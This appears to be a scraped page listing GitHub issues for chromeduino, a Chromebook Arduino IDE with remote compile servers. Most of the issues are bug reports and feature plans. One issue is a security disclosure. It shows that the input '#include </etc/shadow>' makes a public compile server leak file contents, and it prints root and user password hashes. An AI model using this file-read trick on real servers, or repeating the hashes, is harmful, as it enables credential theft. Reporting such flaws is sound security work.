Git Product home page Git Product logo

chromeduino's People

Contributors

allantaylor314 avatar mrfrase3 avatar spaceneedle avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

chromeduino's Issues

"Could not set baudrate" error

We're using Chromeduino with high school students and about 10% are getting an error saying, "Could not set baudrate" when attempting to upload code to their Arduino. It usually doesn't happen at first, but only after they've successfully uploaded a few times. Sometimes rebooting the chromebook seems to help, but not always. I didn't see anywhere we could set the baudrate and have only found one reference to this error online with no solution. Any help? Thanks

Chromeduino server

When I’m trying to make my own server I get error telling me that express isn’t installed do I just run ‘npm i express ‘

Chromeduino 3.0

So a lot has happened in the last year, of note:

  • Google dropped support for chrome apps on non-ChromeOS devices, instead preferring developers made Progressive Web Apps (PWA)
  • ChromeOS support for Linux apps appears to be going no-where/not very compatible on devices with low storage
  • WebUSB is now a thing on chromium browsers (chrome, opra and new edge)
  • Arduino-cli is now a thing
  • Chromeduino 2.0 has ~20k active users a week 🎆 :pikachu_face:

I've had a play around with the arduino-cli and managed to upload a program on an Arduino using the following flow:
arduino-cli <-> net socket <-> nodejs <-> socket.io <-> nodejs <-> serial <-> arduino

What does that mean?
We can upload a hex without a custom avr programmer written in js on the front end, instead just pipe the communication to the server. This also means support for the board manager, i.e. esp8266's without any hackery. (also the library manager)

Unfortunately, changing to this flow would mean that the app would basically need to be recoded. On the bright side, the app would need to be recoded.

What I'm proposing for Chromeduino 3.0:

  • Split the client and server into different repositories (maybe make a Chromeduino GitHub organisation)
    • Set up proper git branches/workflow
    • CI with TravisCI or CodeBuild
  • Potentially rename Chromeduino to something less trademarky
  • For the client:
    • Use Vue as an app frame work, with Vuetify
    • Abstract the serial communication layer, so any can be used (chrome.serial, WebUSB, electron...)
    • Compile as a PWA, publishing on as a website as well as a chrome app. (more than just ChromeOS)
    • Add more settings support, including board and library manager
    • Add internationalisation support, lang files or something (a large number of users are from Spain/Europe)
    • In-app bug reporting?
    • Make a "betaduino" webstore listing for the beta version of 3.0, meaning 2.0 can be switched to something not so buggy
  • For the server:
    • Use Socket.io as the communication protocol
    • Basically, shunt the arduino-cli
    • Publish as a container on DockerHub
      • Allows people to easily download and run their own servers
      • Can use AWS Elastic Container Store for scalable "official" compile servers around the world #7 (lambda will not work for the high-speed back and forth of the programming)
        • Arduino-cli can cache the library/board downloads, can set up an S3 bucket and mount it on the containers to reduce load times.
      • Can be isolated from compiler security problems #10

I've already started coding this, but input/feedback is always welcome

Terminal cannot use

the chrome console throws an error:
chrome.Event is not a constructor
It seems that chrome.Event has been removed from chrome.

Add settings menu

add menu for setting. Things that should be implemented and live there:

  • Slider for font sizes
  • Darkmode/editor themes
  • Opt-out for google analytics
  • App version, github link, donate button
  • Library manager

#3.0 cant run

I've tried running my code said error I checked the code then put serial prints in it said error again then I showed it to my sister who learned Arduino she said nothing was wrong I tried again and then another ERROR pls fix this I really want to learn arduino but I can't if you don't fix this

Suddenly local hosted Chromeduino Server stopped working

I don't know what caused this problem, but suddenly the Chromeduino Server I run on my Chromebook (localhost) stopped working.

The solution was to change app.js to specify 'localhost' in app.listen :
app.listen(port,'localhost', () => console.log(Example app listening on port ${port}!));

I don't know why this was suddenly required. It stopped working just after a Chromebook update, maybe node or express were updated ? Or maybe I updated it myself at some other point, but I can't recall that.

Setup VPS

Hi- I'd like to set up a public VPS, but I'm not sure how to go about this. Would anyone be able to provide me more detailed instructions on which VPS to use and how to go about it? Thanks!

serial monitor...

generally speaking, this works pretty well, but for my application, I do the following a lot...

program the board,
use serial monitor
disconnect the board [without closing the terminal window]

I find that sometimes when I plug the board in again, Chromeduino2 will not reconnect, and I need to restart the app [sometimes even reboot].
I'm sure reliability would be greatly improved if the terminal was always closed before disconnecting, but rookie programmers are all about wanting to try out the code they have just programmed into their device, and often forget.

also, I always need to add a short delay after each serial print, otherwise some of the lower spec chromebooks are overwhelmed and the app hangs as soon as we open the terminal.

Security Issue: Can read parts of files from server

Compiling the code #include </etc/shadow> gives the output

Uploading to remote compiling server: http://chromeduino.3mr.fr
In file included from /tmp/chromeduino-28764QE2PlLvSh07c/chromeduino-28764QE2PlLvSh07c.ino:1:0:
/etc/shadow:1:1: error: stray '$' in program
root:$6$R4mTc7sq$4Ti6Yjf/CRHkQAtV0b0CZ7OlRCbLrU0tM/h62KtCKyj.suJi2zakbrsk4HsZlWbhmndXoQMiO5eVFT1QV0d/80:17009:0:14600:14:::
^
/etc/shadow:1:1: error: stray '$' in program
/etc/shadow:1:1: error: stray '$' in program
/etc/shadow:22:1: error: stray '$' in program
mc:$6$10193419$hoQpUF3/k66569lefCVbtCEOMUEfOU2DjdTQFisP6y4FxGD4e.ljNAyhr5fpYn0EB1hhPphL/5Mr.tToD2Pg8.:16321::::::
^
/etc/shadow:22:1: error: stray '$' in program
/etc/shadow:22:1: error: stray '$' in program
/etc/shadow:1:1: error: 'root' does not name a type
root:$6$R4mTc7sq$4Ti6Yjf/CRHkQAtV0b0CZ7OlRCbLrU0tM/h62KtCKyj.suJi2zakbrsk4HsZlWbhmndXoQMiO5eVFT1QV0d/80:17009:0:14600:14:::
^
exit status 1

This leaks a lot of information. It could work for any file that node.js (or the Arduino process it spawns) can read (.htpasswd, /etc/shadow, /etc/groups, if run as root or with wrong permissions) as long as the attacker knows the full name and path. Sensitive files are often located at the same location on all systems. A fix to limit Arduino's ability to read files outside of its directory would be recommended. It does not leak the full contents of the file but still leaks enough information to be bad.

ESP32 board support

I would like to work on ESP boards.

But when i checked the board list, currently its not showing up.

Is it possible to add ESP 32 boards.

I am using ESP32 devkit v1

Open source server files?

Hey, thanks for uploading.

But this doesn't go very far without the server compiler, any chance that could be uploaded?

Cheers,
~ Frase

feature request - add recent compile server IP addresses to list...

This is only a minor comment, but thought I would raise it...
I use Chromeduino2 in an educational setting for 9 year olds.
I find that typically we burn about 5-10 mins at the start of each 50 min class with setup issues. Currently Chromeduino2 remembers the previous compile server IP that was used. But that address only appears as text down the bottom, but not in the list of available compile servers. Sometimes I have needed to change the IP for a class, then revert back the next time.
It would be great if upon a successful attempt to connect to a compile server, that IP was added to the items in the list of available compile servers.

Migrate Backend to AWS Lambda

Use AWS API gateway and lambda functions to compile code. This utilises serverless benefits, including 99.99% uptime and scalability.

Another benefit is that each compile will be instanced, meaning external #3 boards and libraries can be downloaded/configured per-compile and then removed without affecting any other users.

Bonus, we can operate out of free tier. (hopefully, I'm gonna start collecting analytics to get an idea of the network load)

Boards and Libraries

The ability to add new boards and libraries would be cool. Like the ESP8266 board, or the WS2812 libraries.

Boards

Client Side Problems

Support for boards will require writing new programming protocols to the client app.

Server Side Problem

The main problem is the remote compile server, there are three ways to do it;

  • people run servers with pre-defined boards installed (not dynamic),
  • a server downloads and caches anything when requested (waste storage), or
  • a server downloads them as requested and delete them after every time they compile (waste bandwidth)?

Maybe have board libraries supported and maintained in separate repos, and then people can load in the programming protocols as needed. Our own board library?

Libraries

Libraries suffer a similar dilemma to boards on the server side;

  • does a client upload or link libraries needed every time they compile?
  • do servers have a pre-defined list of installed libraries?
  • does the server cache libraries?

Side note: Google is planning on bringing Linux programs to ChromeOS, so putting a lot of effort into one solution may prove pointless if the Arduino IDE can be installed on Chromebooks in the near future. Conversely, Arduino may not allow this seeming they get revenue from Chromebooks...

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.